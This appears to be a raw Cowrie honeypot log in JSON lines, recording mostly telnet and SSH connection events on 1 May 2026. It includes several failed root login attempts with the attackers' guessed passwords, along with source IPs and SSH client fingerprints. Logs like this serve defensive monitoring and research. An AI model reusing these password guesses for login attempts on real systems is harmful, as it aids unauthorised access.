{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":58718,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dcb9e4ed055","protocol":"telnet","message":"New connection: 45.63.42.31:58718 (10.17.0.5:23) [session: 1dcb9e4ed055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:56.914643Z"}
{"eventid":"cowrie.session.closed","duration":34.27310132980347,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:58.586644Z","src_ip":"45.63.42.31","session":"2fbe781296e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.79449725151062,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:02.435375Z","src_ip":"103.115.172.252","session":"80cdecf73e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.1308434009552,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:03.240897Z","src_ip":"45.63.42.31","session":"14a52cc76362","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43736,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c9a9989be5","protocol":"telnet","message":"New connection: 45.63.42.31:43736 (10.17.0.5:23) [session: 25c9a9989be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:05.324472Z"}
{"eventid":"cowrie.session.closed","duration":36.93560171127319,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:13.031697Z","src_ip":"45.63.42.31","session":"91ef3f60639d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.37369132041931,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:16.424275Z","src_ip":"45.63.42.31","session":"ceb6376fff57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53976,"dst_ip":"10.17.0.5","dst_port":23,"session":"835dfc805417","protocol":"telnet","message":"New connection: 45.63.42.31:53976 (10.17.0.5:23) [session: 835dfc805417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:20.740214Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41864,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ba94648610","protocol":"telnet","message":"New connection: 45.63.42.31:41864 (10.17.0.5:23) [session: 56ba94648610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:28.658386Z"}
{"eventid":"cowrie.session.closed","duration":34.77187776565552,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:30.945697Z","src_ip":"45.63.42.31","session":"6de50bf5ae90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26585102081299,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:33.180399Z","src_ip":"45.63.42.31","session":"1dcb9e4ed055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":50942,"dst_ip":"10.17.0.5","dst_port":23,"session":"98f0ede75f8c","protocol":"telnet","message":"New connection: 45.63.42.31:50942 (10.17.0.5:23) [session: 98f0ede75f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:33.243739Z"}
{"eventid":"cowrie.session.closed","duration":33.2262647151947,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:38.550591Z","src_ip":"45.63.42.31","session":"25c9a9989be5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40896,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c34acf4fa20","protocol":"telnet","message":"New connection: 45.63.42.31:40896 (10.17.0.5:23) [session: 9c34acf4fa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:43.501632Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53704,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ea7b8f384c","protocol":"telnet","message":"New connection: 45.63.42.31:53704 (10.17.0.5:23) [session: 56ea7b8f384c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:48.848952Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39426,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac46af22d78","protocol":"telnet","message":"New connection: 45.63.42.31:39426 (10.17.0.5:23) [session: aac46af22d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:55.774967Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.178.4.10","src_port":47896,"dst_ip":"10.17.0.5","dst_port":23,"session":"f55953a1bc9b","protocol":"telnet","message":"New connection: 181.178.4.10:47896 (10.17.0.5:23) [session: f55953a1bc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:55.853951Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39502,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7fe6231e5af","protocol":"telnet","message":"New connection: 45.63.42.31:39502 (10.17.0.5:23) [session: f7fe6231e5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:56.819737Z"}
{"eventid":"cowrie.session.closed","duration":36.82486653327942,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:57.564909Z","src_ip":"45.63.42.31","session":"835dfc805417","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":59234,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b73cce8608","protocol":"ssh","message":"New connection: 5.182.83.231:59234 (10.17.0.5:22) [session: 99b73cce8608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:59.149569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:59.153815Z","src_ip":"5.182.83.231","session":"99b73cce8608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:59.270222Z","src_ip":"5.182.83.231","session":"99b73cce8608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server!2024","message":"login attempt [root/Server!2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:43:59.768909Z","src_ip":"5.182.83.231","session":"99b73cce8608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:00.888564Z","src_ip":"5.182.83.231","session":"99b73cce8608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.485227823257446,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:03.143514Z","src_ip":"45.63.42.31","session":"56ba94648610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":55388,"dst_ip":"159.203.135.109","dst_port":22,"session":"cffa2a558a96","protocol":"ssh","message":"New connection: 114.141.59.195:55388 (159.203.135.109:22) [session: cffa2a558a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:08.846102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:09.416846Z","src_ip":"114.141.59.195","session":"cffa2a558a96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:09.656893Z","src_ip":"114.141.59.195","session":"cffa2a558a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.520925998687744,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:09.764557Z","src_ip":"45.63.42.31","session":"98f0ede75f8c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveme123","message":"login attempt [root/loveme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:10.869114Z","src_ip":"114.141.59.195","session":"cffa2a558a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:12.126621Z","src_ip":"114.141.59.195","session":"cffa2a558a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45796,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d5147fada74","protocol":"telnet","message":"New connection: 45.63.42.31:45796 (10.17.0.5:23) [session: 5d5147fada74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:15.993025Z"}
{"eventid":"cowrie.session.closed","duration":35.89956569671631,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:19.401085Z","src_ip":"45.63.42.31","session":"9c34acf4fa20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83946776390076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:23.688340Z","src_ip":"45.63.42.31","session":"56ea7b8f384c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01293897628784,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:30.832548Z","src_ip":"45.63.42.31","session":"f7fe6231e5af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.273228883743286,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:32.048065Z","src_ip":"45.63.42.31","session":"aac46af22d78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":34412,"dst_ip":"159.203.135.109","dst_port":22,"session":"31a21db0c63f","protocol":"ssh","message":"New connection: 191.255.52.36:34412 (159.203.135.109:22) [session: 31a21db0c63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:35.148369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:35.153856Z","src_ip":"191.255.52.36","session":"31a21db0c63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:35.321422Z","src_ip":"191.255.52.36","session":"31a21db0c63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smartvm","message":"login attempt [root/smartvm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:35.916228Z","src_ip":"191.255.52.36","session":"31a21db0c63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:37.056266Z","src_ip":"191.255.52.36","session":"31a21db0c63f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.235.33.77","src_port":32632,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2ae631668fa","protocol":"telnet","message":"New connection: 45.235.33.77:32632 (159.203.135.109:23) [session: b2ae631668fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:37.942225Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41124,"dst_ip":"10.17.0.5","dst_port":23,"session":"c98be03580a8","protocol":"telnet","message":"New connection: 45.63.42.31:41124 (10.17.0.5:23) [session: c98be03580a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:38.150757Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":34368,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff3cd6674a8c","protocol":"telnet","message":"New connection: 103.115.172.252:34368 (10.17.0.5:23) [session: ff3cd6674a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:40.212218Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":37888,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1883753fae0","protocol":"telnet","message":"New connection: 103.115.172.252:37888 (10.17.0.5:23) [session: b1883753fae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:50.729229Z"}
{"eventid":"cowrie.session.closed","duration":13.523511409759521,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:51.465592Z","src_ip":"45.235.33.77","session":"b2ae631668fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.68798112869263,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:44:51.680891Z","src_ip":"45.63.42.31","session":"5d5147fada74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":57794,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7257e11100c","protocol":"telnet","message":"New connection: 45.63.42.31:57794 (10.17.0.5:23) [session: a7257e11100c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:13.472378Z"}
{"eventid":"cowrie.session.closed","duration":37.204720973968506,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:15.355221Z","src_ip":"45.63.42.31","session":"c98be03580a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.1691370010376,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:29.381207Z","src_ip":"103.115.172.252","session":"ff3cd6674a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.6525936126709,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:30.381646Z","src_ip":"103.115.172.252","session":"b1883753fae0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":58620,"dst_ip":"10.17.0.5","dst_port":23,"session":"b65903fc677a","protocol":"telnet","message":"New connection: 103.115.172.252:58620 (10.17.0.5:23) [session: b65903fc677a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:39.780617Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":58890,"dst_ip":"10.17.0.5","dst_port":23,"session":"8be1972b6dd0","protocol":"telnet","message":"New connection: 103.115.172.252:58890 (10.17.0.5:23) [session: 8be1972b6dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:40.430283Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34824,"dst_ip":"10.17.0.5","dst_port":23,"session":"15c0518b4f5a","protocol":"telnet","message":"New connection: 45.63.42.31:34824 (10.17.0.5:23) [session: 15c0518b4f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:45.477280Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39104,"dst_ip":"10.17.0.5","dst_port":23,"session":"f368de25adba","protocol":"telnet","message":"New connection: 45.63.42.31:39104 (10.17.0.5:23) [session: f368de25adba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:47.630813Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38226,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b2fc3d8f831","protocol":"telnet","message":"New connection: 45.63.42.31:38226 (10.17.0.5:23) [session: 4b2fc3d8f831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:48.205408Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35438,"dst_ip":"10.17.0.5","dst_port":23,"session":"9389edcf7928","protocol":"telnet","message":"New connection: 45.63.42.31:35438 (10.17.0.5:23) [session: 9389edcf7928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:48.773550Z"}
{"eventid":"cowrie.session.closed","duration":35.57237243652344,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:49.044520Z","src_ip":"45.63.42.31","session":"a7257e11100c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00167107582092,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:55.855517Z","src_ip":"181.178.4.10","session":"f55953a1bc9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55388,"dst_ip":"10.17.0.5","dst_port":23,"session":"64fe90e6443d","protocol":"telnet","message":"New connection: 45.63.42.31:55388 (10.17.0.5:23) [session: 64fe90e6443d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:45:55.868418Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":42084,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a2b6b14c5f9","protocol":"telnet","message":"New connection: 103.115.172.252:42084 (10.17.0.5:23) [session: 3a2b6b14c5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:07.660380Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33814,"dst_ip":"10.17.0.5","dst_port":23,"session":"33e6051798b5","protocol":"telnet","message":"New connection: 45.63.42.31:33814 (10.17.0.5:23) [session: 33e6051798b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:14.761810Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40432,"dst_ip":"10.17.0.5","dst_port":23,"session":"e695102d064c","protocol":"telnet","message":"New connection: 45.63.42.31:40432 (10.17.0.5:23) [session: e695102d064c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:18.132995Z"}
{"eventid":"cowrie.session.closed","duration":33.35845136642456,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:20.989142Z","src_ip":"45.63.42.31","session":"f368de25adba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18383502960205,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:21.660991Z","src_ip":"45.63.42.31","session":"15c0518b4f5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52443027496338,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:22.729707Z","src_ip":"45.63.42.31","session":"4b2fc3d8f831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.23362922668457,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:23.007083Z","src_ip":"45.63.42.31","session":"9389edcf7928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.181318044662476,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:24.961777Z","src_ip":"103.115.172.252","session":"b65903fc677a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33100,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb062bd212b0","protocol":"telnet","message":"New connection: 45.63.42.31:33100 (10.17.0.5:23) [session: cb062bd212b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:28.528661Z"}
